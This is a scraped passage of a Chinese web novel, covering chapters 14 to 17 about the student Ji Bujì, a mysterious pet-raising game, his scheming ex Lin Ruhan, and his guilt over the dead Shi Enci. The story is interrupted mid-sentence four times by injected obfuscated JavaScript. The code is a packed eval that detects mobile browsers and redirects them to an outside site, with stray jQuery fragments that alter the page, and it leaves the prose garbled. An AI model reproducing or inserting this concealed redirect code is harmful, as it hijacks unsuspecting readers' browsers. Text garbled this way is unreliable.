季不寄得知他是日光大学的一位大佬后不由怔了下,而后道:“好的,我会给您抄送过去的。”
态度仍旧不骄不诌,并未因知晓了对方的身份而变得谄媚。
老教授面露满意之色,对导师道:“我开车来的,今晚顺路把小鸣送回去,咱们就去吃饭吧。”
导师道:“把小鸣送回去做什么,一块儿吃呗。”
老教授略一思索,揉着李鸣邱的脑袋瓜,转头欲招呼刚才那学生一起。视线掠去,才发现他已经一声不吭地走远了,衣角消失在门后。
“你这学生挺个性。”
导师深吸一口气:“是,有个性。”
另外两个大三的学生忙道别离开。
晚上写完报告后无事,季不寄打包了一份食堂的咖喱饭,一个人回宿舍安安静静地进食。舍友们全走光了,他开着外放,打开了“天国公主养成计划”。
这游戏总让季不寄感觉矫情,每次他离线时间久了,它就像冷宫里的妃子般疯狂地弹窗提醒,扰人清静。
今晚,金发小人实时出现在了小木屋的庭院处,这庭院是季不寄这段时间一点一滴建成的。周遭种下了许多薰衣草丛,中央还有一颗巨大的樱花树,树冠会随着现实时间而变换色彩,在此刻它染上了一层瑰丽的蓝紫色。
在如梦如幻的樱花下,装有一架高高的秋千。金发小人正慢悠悠地荡着,发丝翩飞,举止比之前生动了许多。
季不寄抬眸一看,顶端的进度条竟是走到了10%的位置。
感叹号弹了出来,指尖触碰,他开启了一个宝箱。本以为会获得一些特殊道具,再不济也是些植物种子、食材什么的,结果里边散发出来一阵烟雾。搞怪的bgm叽里呱啦地响着,不知在替他祝贺些什么,待雾气退散,季不寄只看到了一只空空如也的宝箱。
“连个时装道具都没有?”
他还猜想过随着游戏进程的推进,金发小人会逐渐获得五官,改掉现有的这张“X”脸。
别家养成游戏的人形角色闪烁着扑灵扑灵的大眼睛,小动物形可爱且治愈,哪像他现在养的这只,整张脸上就顶着个大大的叉,进食时都不知道是怎么吃进去的。
他戳戳金发小人的脸蛋,自语道:“这也太丑了,你看看隔壁养成计划的露露,粉发蓝眸特别华丽。”
他才一说完,金发小人就扭过了脸,不让他继续戳了,重重地跺着脚往屋里走。
这游戏反倒是在这种细节做得十分生动,衣服的晃动程度,头发的自然飘动……简直像是从现实里提取出来的真人一般。
季不寄跟随着小人转到小木屋里。室内新添置了两个书架,上边摆满了花花绿绿的文学作品,他知道小人很喜欢窝在旁边的沙发上读书,因为这种时候他的头顶会冒出来一个爱心符号。
与市面上多数养成游戏不同,这个游戏并未详细列出角色的各项数值,他既没有好感条,也不知道这小人的年龄身高、具体技能数据。
勉强能称为“主线”的,仅有屏幕顶端那支意义不明的灰色进度条。
不知是否为他的错觉,金发小人的自由活动时间越来越久了,起初只能支撑他去厨房做一顿饭,小人便体能耗尽陷入静止,如今却能坚持一个小时以上。
他原本还当这个设定是游戏特意装的防沉迷系统。现在想来,这也是游戏养成的一个环节。
晚上十点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780823|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,星星像小电灯泡一样缀满了整个天空。金发小人从书中抬起头,望向窗外,季不寄知道他是困了,每晚到这个时间都会自动弹出一个睡觉的选项。
然而,今夜注定有所差异。
房门似是没关好,一只黑猫抵开房门,进入了小木屋,肉垫踏上地毯,尾巴轻微摇摆。
特殊事件触发,屏幕一闪,季不寄的面前出现了两个选项。
【对于闯入家里的不速之客,你选择——】
选项一:杀死它。
选项二:吃掉它。
季不寄一愣,怀疑起自己的眼睛,正常养成游戏会出这种暗黑的剧情么?
画面静静停滞于此,bgm戛然而止,温馨日常的游戏里,两个选项显得格外突兀。
无论哪个选择他都不想选。
季不寄犹豫了足足十分钟,最后打算退出游戏时,屏幕上忽刷新了第三个选项。
选项三:与对方和谐相处!
他不假思索地按下这一选项,游戏继续,黑猫迈着优雅的步伐跃上一张沙发,冲着金发小人发出一串叫声。
金发小人反应平淡,没有理会这位不速之客。
【你将小木屋分享给小黑猫】
季不寄没搞明白这个情节设计的目的,今晚的突发事情和平解决,他盯了入睡的金发小人一个小时,自己也觉出困意,遂退出游戏,埋头睡去。
次日一早,提前定好的闹钟叮叮咚咚地响起,窗外的天边泛起独属于黎明的鱼肚白色。
季不寄直挺挺地躺着,他为了省电费没开空调,因此什么都没有盖。北方夏季的昼夜温差较大,他穿着短袖短裤,觉出些凉意,翻了个身,伸手去抓吵醒自己的罪魁祸首。
关掉闹钟,他坐起身来,迷迷瞪瞪地下了床,踩上一双凉拖,走近窗边去看日出。
曙光如涟漪般荡漾开来,晕染着天边的分界线。边缘恰似一道轻盈的缎带,柔和且温暖地延伸向两侧。
这有什么好看的?他在地球上存活七千多天了,日起日落格外平常。
双手撑在窗台前,淡蓝色的天际亮了,一颗火红的朝日破开云雾缓缓而升,朝霞迸射出玫瑰色的光彩,一束束阳光如细针扎着他的心脏。
果然一点也不好看,普通极了。
不过是在生活了四年的宿舍里看一颗存在几十亿年的老东西升起来。
他站了须臾,无趣地转身,重新回到床上睡回笼觉。
闭上眼睛酝酿睡意,季不寄的意识逐渐沉入一个安逸静谧的地方,不成逻辑的杂念环绕大脑打转儿,徘徊了许久。
他依稀感觉到有什么人接近了自己,热气打在嘴巴上,季不寄无意识地咬了下唇,呼出的气体愈发接近,几乎是到了让人不安的程度。
他过于困倦,自我防御似的支吾一声,发出梦呓。
良久,蜻蜓点水般,微凉的触感自额头上扩散开来。
“为什么就是不懂呢?笨蛋。”
15. 大爷,我是来探望你的
补了一觉,季不寄换衣洗漱。
瞅见镜子里的自己,他抓了把头发,长长了许多。面前的自己好像和记忆中的另一个人重叠起来,一切令他感到不适。
季不寄扣上了帽子。
他出门的时间已是中午。季不寄没有按时吃饭的好习惯,在路边小店花三块五买了个包子,刚出炉的,表皮滚烫,他边走边吃,指尖烫得通红。
啃完整只肉包,季不寄刚好赶上这趟公交车。
他要去湖西公园找上次那个保安大爷,到站后进了家水果店,打算买些水果带去。
他依稀记得小时候过年走亲戚会送橘子、苹果什么的,但不清楚该买多少,兜兜转转逛了一圈,选了个既有果又有花的果篮,红红火火的,上了年纪的人应该喜欢。
公园今日似乎在举办跳蚤集市,有推车的老人、出来逛的一家三口,还有些两两结对的小情侣,人来人往的很是热闹。
保安室内,老大爷正慢慢悠悠地坐在窗边喝茶,见他径直走来,忙扯着嗓子道:“进集市要额外买票!”
季不寄转角推开门,拐进了他的保安室,摘掉帽子,将一大筐果篮搁在他摇摇欲坠的吊椅上。
“我是来探望你的。”
老大爷一愣,认出他来:“我没病啊。”
“我知道。”季不寄道。
大爷的目光移向那筐色彩饱满的果篮,水果种类颇多,每一样上边都贴着花字,像什么“枣”日康复,喜“提”健康,“苹”平安安,周匝簇拥着一团团花朵。
“那你带什么果篮?”
季不寄疑惑,没意识到任何不对:“不能带吗?健康的人也能吃水果吧?”
老大爷头大如斗,看着这理直气壮的年轻人,徒生出一股无法形容的复杂感:“是可以吃。你以后去探望长辈,别带这种款式的果篮。”
季不寄沉稳地“嗯”了一声,不知道明白了多少,知恩图报道:“我是来感谢你的,上次让我留宿,还有送我的蜂蜜。”
“哦,对了,伞也还你。”他开始掏包里带来的雨伞。
大爷却是讶然道:“蜂蜜,那不是你送我的吗?”
他抬眸,瞥见大爷从抽屉里拿出一罐蜂蜜,和自己上次收到的如出一辙。
季不寄把伞放桌面上,道:“我上次是空着手过来的,连伞都没带。”
老大爷仔细回忆,对啊,确实是这样,这小伙子没有背包,浑身上下就带了部手机,哪来的蜂蜜呢?
大爷奇怪道:“我也没给过你蜂蜜,就给过你一把伞。”
两人陷入难捱的沉默,既然谁都没有装过蜂蜜,那这凭空出现的两罐蜂蜜是哪来的呢?
季不寄已经喝过一次,确定里边没有加料。
俄而,他经过缜密的思考,大胆揣测道:“有没有可能是田螺姑娘送给我们的?”
老大爷险些失语:“你还在儿童期?”
季不寄想起那句经典台词,当你排除了所有的不可能,那么剩下的再也不可能,也必定是真相。
——
暑假期间大部分学生离校,食堂只开了一层。回到学校的季不寄一如既往地去了咖喱饭窗口,食堂阿姨早就认熟了他,笑着问他想吃哪一款。
季不寄选了常吃的番茄牛肉咖喱,打完饭,他端着托盘去角落的小桌吃饭。食堂里稀稀拉拉地过往着人,他舀了一勺混着咖喱汁的米饭,尚未送入口中,对面坐下了一个人。
他不咸不淡地抬眸去瞧,来的人身着一袭白衣,举止文雅,正是那个演技高超折煞旁人的林入寒。
前段时间让他挂科延毕失去保研资格,论坛上兴风作浪造谣生事的始作俑者。
林入寒温柔地冲他一笑,建议道:“戴鸭舌帽时露出耳朵会更好看。”
“关你屁事。”季不寄低头接着吃饭。
他绷着张扑克脸,眸色冷淡,腮帮子一鼓一鼓地细细咀嚼食物。
“怎么不关我的事,我不是你的男朋友吗?”林入寒不恼,眉宇间透露着一丝温和。
“我们分手半个月了吧?”季不寄面无表情道,他早在半个月前报警无用就拉黑了林入寒,他怎么还自以为是到这种地步?
林入寒身体前倾,笑不露齿:“我可没得到通知。”
季不寄:“哦,那你现在得到通知了。”
“你就没有想问或者想说的吗?”林入寒单手托腮,盯着他一声不吭地吃饭,深感奇异。正常来讲,一个人被凭空泼了脏水,还遭受陷害惨毁前途,看到罪魁祸首不该有如此平淡的情绪。
他们系曾经的大学霸太异常了。
“你来找我做什么?”季不寄边吃边问,似乎没把他当回事。
过道有个学妹路过,认出了他们学校常任活动主持的风云人物,脚步放慢,不住地偷偷打量。林入寒朝女孩轻柔一笑,她便被这扑面而来的帅气因子弄红了脸颊。
“我找我男朋友还需要理由吗?”他轻声道。
但鲜少有男朋友会同另一半断联半月。
季不寄微不可察地蹙起眉头,撂下勺子,黑漆漆的瞳孔凝视着他:“我很好奇,你不喜欢我,为什么还要继续纠缠?”
他同林入寒交往的这一个多月,基本没做过一切情侣间会做的事情,见面、相识、约会、牵手、接吻……除了前边两项,其余常理性的事件一概没有——当然,拒人于千里之外的季不寄也不可能让它们发生。
林入寒掏出一包纸巾,慢条斯理地抽取一片,伸手去擦对面青年的嘴角:“你猜。”
季不寄陷入思考,仍由他擦着,半晌,又问:“为什么要把我关进房间?还要编造那些传闻?”
“你在说什么?”林入寒装傻。
“放心,我没有开录音套你的话。”季不寄看向他的表情冷漠又陌生,深不见底的眸底仅能窥见些许
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780824|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无机质的探究欲:“只是基于好奇。”
林入寒选择用问题回答问题:“你先回答我的提问,我会根据答案判断是否可以告诉你真相。”
季不寄静静地等着人渣提问。
所幸正值放假,食堂没什么人,不然季不寄和林入寒的谈话被任何一个人听到,都能成为学生间的惊天大瓜。
“我前几次找你你都不在宿舍,我想问你,为什么不去时恩赐的葬礼?”林入寒定定地问道。
季不寄没料到这个名字会从他的口中出来:“你认识时恩赐?”
“我和他从小就认识了。”林入寒道。
季不寄知道林入寒的家族颇有背景,时恩赐虽已家道中落,时家曾经也是日光赫赫有名的豪门望族,两人自幼相识倒在情理之中。
只是四年前的季不寄从未听时恩赐提起过,他还有这么个朋友。
他缄默片刻,解答了林入寒的疑问:“哦,因为我恨他。”
他的薄唇微启,吐字淡漠无情,虹膜泛着一片死寂般的空虚。
林入寒的肩膀稍稍下垂,动作不自觉地停了下来,面上的表情凝固成一个奇怪的模样。他好像无法接受这个答案,消化了几秒,才呢喃出声。
“你居然对他是这种感情,我真不知道为什么恩赐会……”
他顺走季不寄手边的水杯,把后半截话咽了下去。后者冷眼睨向他:“你去给我再接一杯。”
“还剩一半呢,我走了。”林入寒浅浅笑着,镜片反光,平添几分虚伪:“你的答案我不满意,所以我什么都不会告诉你。”
砰的一声,水杯翻倒在桌面上。
季不寄猛地站了起来,不锈钢餐具掉落在地上,砸出清脆的声响。
“你陷害我的原因,和时恩赐有关?”
鸭舌帽檐下,一双吊梢眼略微上翘着,全无善意的黑瞳暗沉如夜,季不寄脸上最为特别的下三白彰显出浓烈的厌世感。
林入寒被这饱含戾气的视线勾着,忽地笑了:“你和恩赐真是完完全全的两种人。有一句话你说对了,我的确不喜欢你,而且,十分反感你这种人。”
“那平白让女孩怀孕的你,又是哪一种人?”季不寄平静地问他。
水杯滚落掉地,林入寒游刃有余的表情变了,像是被撕破了伪装的外皮,面上闪过一丝阴冷:“你把这件事说出去,没有任何人会信你。而且你知道把它说出去的下场。”
一位穿制服的食堂工作人员走过,擦干地板,捡起地上的勺子和水杯,搁回桌面,一杯冷热适宜的饮用水随后放在季不寄面前。
什么时候食堂也有服务员了?
季不寄扬起目光觑向来者,正撞入一双似熟非熟的浅色眼眸,眼型细长如柳叶,含着清浅的笑意。
“他现在多了一位证人。”
那道清亮透彻的声音钻入耳朵。
季不寄的眼睫微微一颤。
16. 你居然拿钱砸我
“宋乞,你来这里干什么?”林入寒皱眉,语气里满含厌恶,不作遮掩。
宋乞略一欠身,坐到季不寄身侧。他身量高挑,上半身明显高出季不寄,长腿在桌下不小心踢了对面的人一脚,那张与时恩赐极像的柳叶眸轻轻勾着,恰似双瞳剪水,细细打量。
他将拖把杆靠在一边的桌沿上,摆摆手:“如你所见,我在赚零花钱。”
“你脑子出故障了?时家分你的钱足以让你一辈子衣食无忧了吧?”林入寒不用正眼瞧他,讥讽道:“用得着你跑食堂卖苦力?”
“我来体验生活,不行么?”宋乞反问。
季不寄对着桌上剩了大半的咖喱饭,失去了进食的胃口,短短一顿午饭的功夫,这辈子最不想见到的人排行榜top3他遇上了两位。
林入寒的声音像是从牙缝里挤出来的:“宋乞,你对伯父伯母做出那种事,还有资格出现在我面前?”
“我对时家做的事和你有什么关系?而且,我是来找我哥的。”宋乞翻了个白眼,转向季不寄,迅速染上喜悦的笑意:“哥,好久不见,最近过得怎么样?”
季不寄桌底的手指按得发白,似乎在承受着极大的心理压力,略长的刘海下一片阴翳,面容苍白到近乎透明。
如果说季不寄是害死时恩赐母亲的始作俑者,那么宋乞就是亲自下刀的刽子手。
——
高三下学期,季不寄和时恩赐的关系达到了前所未有的紧张阶段,他们时常爆发矛盾,冷战吵架,针锋相对。
季不寄的父亲死后,家中唯一的经济来源只剩母亲在饭馆的一份临时工,时薪十块钱,支撑一家四口人的日常开销、三个孩子的学杂费。为数不多的积蓄早在父亲重病期间全部耗空,外加欠了一屁股债,本就捉襟见肘的家庭更是变得穷困潦倒。
季不寄被停了生活费,他尚未成年,瞒着所有人找了个网吧打黑工。一周上六休一,由于白天要上学,他只干夜班,负责端茶倒水,清洁卫生,一个月能到手三千薪资。
他连夜通宵,白天在学校补觉,作息饮食均极不规律,单薄的身形甚至快要比不上桌面教辅资料的厚度。
他对学习本就不上心,全靠聪明的脑袋瓜顶着,如今更是把即将到来的高考抛之脑后,每日考虑的仅剩生活开支的一串串数字。
开学考试成绩下来,榜单公布,高三学生一片哗然。连续三年霸占首位的名字消失了,季不寄居然排在了百名开外。
课间,季不寄昏昏沉沉地趴在桌子上补觉,时恩赐叫了他几声,没回应,便大力将他晃醒。
睡眠严重不足导致他头晕脑胀,季不寄表情不耐:“你有事?”
“你怎么了?”时恩赐问他。
“没怎么。”
时恩赐低声道:“你这段时间学习状态不太对劲,排名降了好多。”
“排名坐过山车是你时少爷一个人的权利?”
季不寄声音冷淡,只想快些打发走他然后补觉。
他们昨天刚因为某件小事争吵完,现在还处于冷战期。时恩赐无端被刺,咽下口头担忧的话,扭过头去:“行了,你睡吧。”
季不寄这一觉从早课睡到了晚自习结束,夜晚十点半放学后,他一如既往地收拾书包,冒着寒风往打工的网吧走。路灯拉出他孤寂的长影,四周静悄悄的,路边偶尔高速驶过一辆汽车,车灯带来短暂的光芒。
他并不知道自己被时恩赐尾随了一路,打工的身姿被对方收入眼底。
第二天上学,早读结束后时恩赐忽然掏出了一大把纸钞,全部丢到了季不寄敞开的高考必考古诗词上。
季不寄漠然看向时恩赐,他仍在不停地往外掏着钱,二十的、五十的、一百的,掏到后边,红色的纸钞越来越多,古诗书承受不住这泼天的富贵,许多钱都掉在了地上。
“帮忙捡一下。”时恩赐道。
季不寄钻到桌子底下,弯腰去拾,起身还给时恩赐。
时恩赐奇怪:“你给我干嘛?”
季不寄蹙眉:“你在做什么?”
“我在给你钱啊。”时恩赐理所应当道。为了当季不寄的天使投资人,他可是把自己积攒多年的纸钞清点了一遍全带来了。
季不寄没有接受,他按面值整理完毕,通通归还给时恩赐。后者把钱推回去,他再度移开,两人一推一挪来回了数次,季不寄终于率先爆发:“你在同情我吗?”
玻璃珠般剔透的眼瞳盯着季不寄眼底的青灰,时恩赐回想起昨晚瞧见他穿梭于卡座间的疲惫身影。
“难道我该羡慕你吗?”
时恩赐冷不丁道。
季不寄面无表情。
他俩就这样开启了新一轮的冷战,当日晚上季不寄再去网吧打工,猝然得知了自己被辞退的消息。
与时恩赐冷战的下一周,四十一中召开了高考百日誓师大会。
初春之际的日光稀薄,柳树抽条,万物和鸣,高三全体学生按班级列队依次入场,高考生的家长均在操场等待多时,学生按顺序落座于自家家长身旁。
时恩赐的母亲对他溺爱有加,自然不会错过这样重要的场合,隔着老远便招呼时恩赐过来。她穿了一身浅白条纹的简装,面上化着淡妆,注意到自家儿子身后不远不近缀着的季不寄,朝他嫣然一笑。
季不寄从未在自己的母亲脸上见到过这般明媚的笑容。那个灰扑扑的中年妇女总是一副苦大仇深的模样,松弛的脸皮上堆叠着层层皱纹,发怒砸他时,无数吐沫星子自刻薄的嘴里飞溅出来。
若不是高考报名交户口本时,无意间翻到了她的个人信息,季不寄甚至快忘了她还不到40岁。
在看到时恩赐朝时母走去的一瞬间,季不寄想,他是有感受到意难平的妒意的。
他在人群中目光流转了一遭,意料之中的未寻见自己的母亲,一个人找了个后排不碍事的空位坐下,和第一排的时恩赐隔了几十人。
时恩赐在前边站起来,转过身,张口要说些什么,季不寄没听清
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780825|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,也不知道他是冲谁说的。
黑白拼接的校服汇聚成宽广的汪洋,无人机从上空飞过,远处的白墙上挂着横幅,红底黑字写着“高考在向你招手,开启新生活的起点!”
升旗仪式结束,校长上台讲话,台下学生叽里呱啦地聊着天,直到他的一席话结束,季不寄仅听清结尾的那句:“请同学们在这最后的百日里,誓死拼搏,赢得未来!”
他无精打采地扣着指甲,一切即将落幕,都该结束了。
校长讲话结束后,是优秀学生代表发言。主持人话音一落,时恩赐母亲戳了戳他的胳膊,悄悄问道:“发言人是不是小季呀?”
时恩赐摇摇头,他不清楚发言的代表人是谁,但至少不会是退步学生代表季不寄。
主持人走下台去,一位学生不紧不慢地走上主席台,他格外生疏地动了动麦克风,发出阵阵刺耳的啸叫。
“喂喂喂,麦克测试——”
高三级队有近千名学生,时恩赐不认识这个人,他不甚在意地偷摸玩着手机,被母亲拍了下手腕:“别玩啦,好好听讲。”
时恩赐听话地收了手机,他仰起头,因为离得主席台很近,他可以轻易看清楚台上人的模样。
这人的容貌总给他一种似曾相识的感觉,但他的确未在级队里见过这学生。电光火石间,时恩赐扫见他抬袖时,那件不合身校服的宽大衣袖内侧,缝有一个白色花型图案。
“咳咳。”主席台的少年开腔道:“请问杨白玉女士在现场吗?杨白玉女士。”
时恩赐的母亲忽被喊到名字,不明所然地举起手。
“噢噢,我看到了。时恩赐的妈妈您好,我是咱家时爸爸的私生子宋乞,DNA鉴定结果已经出来了,您可以催一下您家先生尽快处理我的申请吗?”少年彬彬有礼地说道,他的语速飞快,语毕的下一秒,便被负责人拽下了台。
如一颗巨石砸入水底,水花四溅。台下的众人皆为愕然,纷纷议论喧杂起来。
这究竟是怎样的一出闹剧?
仅仅是一刹那,时恩赐身旁的母亲骤然倒地。众目睽睽之下,她失了血色,意识全无。
时恩赐慌了,他感受不到母亲心脏的跳动,滑开手机去打120,手抖得几乎要握不住手机。
救护车赶来之前,他拼命回忆着急救知识,只恨自己把急救课当水课,学无不术,玩玩闹闹。
而人群尽头的季不寄,黑眸平静,似是早有所料。
时恩赐的脑海中闪过那朵白色曼陀罗。
过于刺目。
——
“哥,如果没有你,就不会有今日的我。”
宋乞用相似的神情和亮晶晶的眸子面朝季不寄,眼底堆起甜美的卧蚕,神情无比专注,仿佛全世界只剩下了季不寄一个人。
季不寄压下头,不去看他的眼睛,却瞟见那张饱满的唇瓣一张一合,如狡猾的小孩子偷偷放飞了一只氢气球般,轻轻翕动。
“哥,你是我的救命恩人。”
17. 你简直阴魂不散…
季不寄中午的咖喱饭没吃完,回到宿舍又泡了袋辛拉面。调料裹满每一根劲道的面条,嘴巴染得殷红,他去摸桌上的水杯,一饮而尽。
入口清爽,带有淡淡的回甘。他蓦然想起这是昨夜冲的蜂蜜水。
上高中时,季不寄总犯胃病,宛如尖锐的刀刃一点点切割着内脏神经,疼得无法直立。他撑过漫长的广播体操,跟着队伍挪回教室。
纤长消瘦的身材弯成了虾米,时恩赐以为他在搞怪扮老头,插队绕到他面前,对上那张病态雪白的小脸,唇若施脂,下巴尖削,眼角被刺激得泛着红意。
“你怎么了?”时恩赐碰上季不寄的脸,触感冰凉。
季不寄的眼前如同放着黑黑白白的幻灯片,轻描淡写道:“有点胃疼。”
细密的汗珠自额角渗出,打湿了额前的发丝,他这可不像“有点”的程度。时恩赐要把他带到医务室,季不寄不肯,时恩赐拗不过他,只得跟他回了教室。
“你是不是冻着了?我刚瞅见你在寒风里张着嘴念书,这不得灌一肚子风。”时恩赐看季不寄艰难地趴在座位上,面色愈白。
他奄奄一息:“我就做个口型,没真念。”
“你以为你是捕风网?”时恩赐道。
季不寄无奈:“魏主任就在我身后站着,我不演不行。”
这新调来的老师主张抓紧一切碎片时间学习,做操集合前、排队打饭时都会有他四处巡查的身影,抓到不好好学习的学生就是一通痛骂。
距离上课还有十五分钟,学生们大多在埋头自习,时恩赐起身道:“你真听话。”
季不寄无视他的阴阳怪气,问:“你去哪?”
“我去给你买贡品。”
季不寄心道,他可千万别因为舔嘴唇死了。
时恩赐头也不回地出了教室,恰巧和那位魏主任擦肩而过,全然不顾他的责问。
快要打铃时,时恩赐带着一兜子超市买来的食物回来了,一些易消化的面包早点,还有罐蜂蜜。
季不寄一怔:“你怎么还买了个水杯?”
“冲蜂蜜水会把你杯子弄得有味吧?”时恩赐把新杯子递给季不寄:“我就另买了个,刚去水房泡的,温水化三勺,不许嫌甜。”
他抱住水杯,温温热热的,打开后啜了一口,槐花蜜口感清甜,回味淡雅并不腻人。
“甜死了。”
季不寄低头吃着面,单手玩手机。启动游戏,昨晚闯入小木屋的黑猫已经在客厅单人沙发上蜗居,金发小人正打理着庭院的花丛。
他瞟向桌上的蜂蜜,戳戳小人的后背,自言自语:“莫非真的是你做的?”
金发小人感受到触摸有了反应,转过身来,画着“X”的脸对着屏幕,看上去呆呆傻傻的。
“好蠢的脸。”
乌鸦飞过,樱花树零零落落地飘着花瓣,白日的樱花树是浅粉色的,洒着闪粉,落在他的金发上。
游戏世界里的一切皆如一场美梦,时而温馨时而梦幻,除却昨夜那两个突兀的弹窗,宛如一个世外桃源。
不知是否为错觉,他退出游戏前感觉金发小人的移速快了些。
晚上临睡时,季不寄收到了一封来自日光大学李教授的邮件,内容是针对他先前发送的那份总结报告的反馈与建议,分点列得脉络清晰,他逐条看去,结尾写了一句直白的邀请:欢迎你来报考我的研究生。
季不寄没想好如何回复,先关掉了页面,躺回床上。
他闭上眼睛酝酿睡意,意识逐渐沉入一个安逸静谧的地方,不成逻辑的杂念环绕大脑打转儿,徘徊了许久,终于沉沉睡去。
半夜,季不寄忽觉异常,冰凉的气息扑在他的颈侧,似是有人在近在咫尺的地方,发出微薄的呼吸。
他自睡梦中抽离,掀开眼帘。夏季的夜晚沉闷燥热,窗外植被隐隐绰绰,季不寄的床位设于靠近窗户一侧,借着稀薄的月光,他朦胧间捕捉到了一道人影,隐匿于寂静的夜。
他离自己极近,撑坐在自己腰际,季不寄后知后觉地感知到重量,目光望去,平静的表象被打破,终年冷漠的表情生动了些许。
“阴魂不散……”他呢喃细语。
月光穿透玻璃映于墙侧,那人手间把玩着一条晶莹剔透的长链,吊坠于半空轻轻摇曳,银质的链条摇晃着,似是在一寸寸亲吻他修长的手指。
窸窸窣窣的声响连结两人,若即若离。季不寄无声凝视着身上的男人,仿若雾里看花,不大明了。
对方俯下身来,缓缓拉近了距离,华丽的金发压过了窗外的月色,倾落间,鎏金璀璨,碎落四散。
太阳在黑夜升起来了。
时恩赐的唇边勾勒出一抹蛊惑的笑容,如同潜伏在暗处的魅魔,绝美的五官倏然凑近,他在那双幽潭般深不见底的柳叶眸中,同时窥见了优雅与阴翳。
一阵突如其来的寒意自尾椎沿着脊椎电流一样窜了上去。
对方似乎看透了他的外强中干,那双缠绕着链条的手背莹白如玉,指尖温柔荡漾着,像是晃在季不寄的心上,顷刻覆盖住他的脖颈。
冰凉、滚烫。脖间传来的力道越来越重,他的喉结滚动,等待窒息感的降临。
时恩赐会怒、会悲,可能在临走的那一刻万分后悔没有带自己下去陪葬。
再是善良的人也顶不住滔天的恨意,不然就不能称之为人类了,那是圣人。
莹莹月光渡在他冷白的皮肤上,时恩赐居高临下地望向他,眼底翻涌着晦暗难辨的情绪,漂亮的虹膜似是镶嵌金丝,高贵柔软。
意识恍惚的一瞬,季不寄仿佛瞥见了旧时的少年。
他想起来时恩赐问自己的第44个问题——最重要的东西是什么?
季不寄已经弄丢了。
一声轻若无声的叹息,脖间的压迫感渐渐消失了,冰凉的触感留了下来。时恩赐最后的一道回眸,直直触及他的灵魂深处,令人不寒而栗。
该是怎样刻骨铭心的感情,才会酿造出如此病态的偏执?
清晨的曦光普及大地,季不寄被闹铃叫醒,揉了揉眼睛,困意残存。
昨夜做了一场噩梦,他的眼睛干涩,嗓子有些干哑,起身下床,欲喝杯温水润润喉咙。
换衣服时,他动作一顿,猛地怔住了。
手贴上脖颈的皮肤,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780826|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
季不寄摸到了一条微凉的链子。
他一把扯下链子,攥在手里,摊开,仔细查看。
这是一条细细长长的钻石链,精巧璀璨,水滴形的吊坠在日光下微光闪烁。
——
“久等了,你在玩啥呢?”
隔着几张餐桌,刘昂大步朝季不寄走来,恰好是饭点,烤肉店座无虚席,忙碌的服务生来来往往,不大的室内充斥着诱人的烤肉香。
季不寄的手肘搭在桌上,闻声眺了他一眼,继续玩弄手上的物件:“翻花绳。”
他摊开掌心,轻轻一拉,一个降落伞的造型大功告成。
刘昂一边擦手一边道:“你还挺有童心。”
定睛一看,又不是那么回事儿了。这哪来的花绳,分明是一条精致华美的项链,刘昂上周陪女友逛商场时在柜台见过这款饰品,奢饰品的价格达到了惊人的数字。
“你……哪来的?”刘昂目瞪口呆,倾斜上身,凑近问道:“你被富婆包、养啦?”
季不寄坦白道:“做梦梦出来的。”
“哈?这话,你拿来骗骗小孩得了,别骗兄弟啊。”刘昂显然不信。
就在这时,服务生上来他们这桌的烤肉和料碟,季不寄看了他一眼,示意他动手开烤。
刘昂拿起剪刀把牛板腱剪成小块,夹起来铺烤架上,故意夸张道:“唉,真是世风日下,学弟都开始使唤学长了。”
“上次是谁说要永久剥夺我的烤肉夹使用权?”季不寄反问。
“你也不看看你烤出来的都是些什么玩意……我和薛文芝快被你毒死了。”刘昂想起他们仨上次见面时,季不寄都把肉块剪成肉丝了,爆汁小烤肠烤得像黑糊痞老板。他以为这肉烤熟后就长这样,吃了一大口致癌物。
季不寄问:“薛文芝还不下来?”
“我给他发微信说我们到了。”刘昂低头看眼手机:“他说他现在下来。”
这家烤肉店是薛文芝家开的,在大学城生意颇为火爆,从开业到现在快十年了,来吃的顾客多为附近的学生。
